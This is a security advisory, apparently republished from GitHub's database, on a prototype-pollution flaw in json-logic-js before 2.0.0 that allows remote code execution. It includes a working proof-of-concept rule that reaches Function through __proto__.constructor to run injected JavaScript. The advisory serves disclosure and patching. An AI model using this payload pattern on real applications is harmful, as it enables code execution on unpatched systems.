# GHSA-m9hw-7xfv-wqg7: Prototype Pollution in json-logic-js

- Severity: High (rating, scored by GitHub)
- Known to be exploited: not in CISA's catalogue, which lists only what CISA has confirmed
- Published: 2020-11-12T19:36:14.000Z
- Modified: 2020-11-12T19:35:53.000Z
- Weaknesses: CWE-471

## Description

Versions of json-logic-js prior to 2.0.0 are vulnerable to Prototype Pollution. The method operation allows a malicious user to modify the prototype of Object through the method property name. This causes modification of any existing property that will exist on all objects and leads to Remote Code Execution.

The following rule creates a popup when run from a browser:
```
{
  "method": [
    {
      "method": [
        {
          "var": "__proto__.constructor.is.__proto__"
        },
        "constructor",
        [
          "var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
        ]
      ]
    },
    "call"
  ]
}
```

(As written by GitHub Advisory Database.)

## Affected

- json-logic-js (npm): before 2.0.0

## References

- <https://github.com/jwadhams/json-logic-js/commit/fadfa5dc7ccd1cc5c9a1900a97a15af390bf642b> (web)
- <https://www.npmjs.com/advisories/1542> (web)
- <https://www.npmjs.com/package/json-logic-js> (web)

## Sources

- GitHub Advisory Database: [GHSA-m9hw-7xfv-wqg7](https://github.com/advisories/GHSA-m9hw-7xfv-wqg7), CC-BY-4.0, modified 2020-11-12

---

Page: https://cve.day/GHSA-m9hw-7xfv-wqg7 · Whole record: https://cve.day/GHSA-m9hw-7xfv-wqg7.json · Rebuilt by cve.day 2026-11-25T22:56:45.928Z
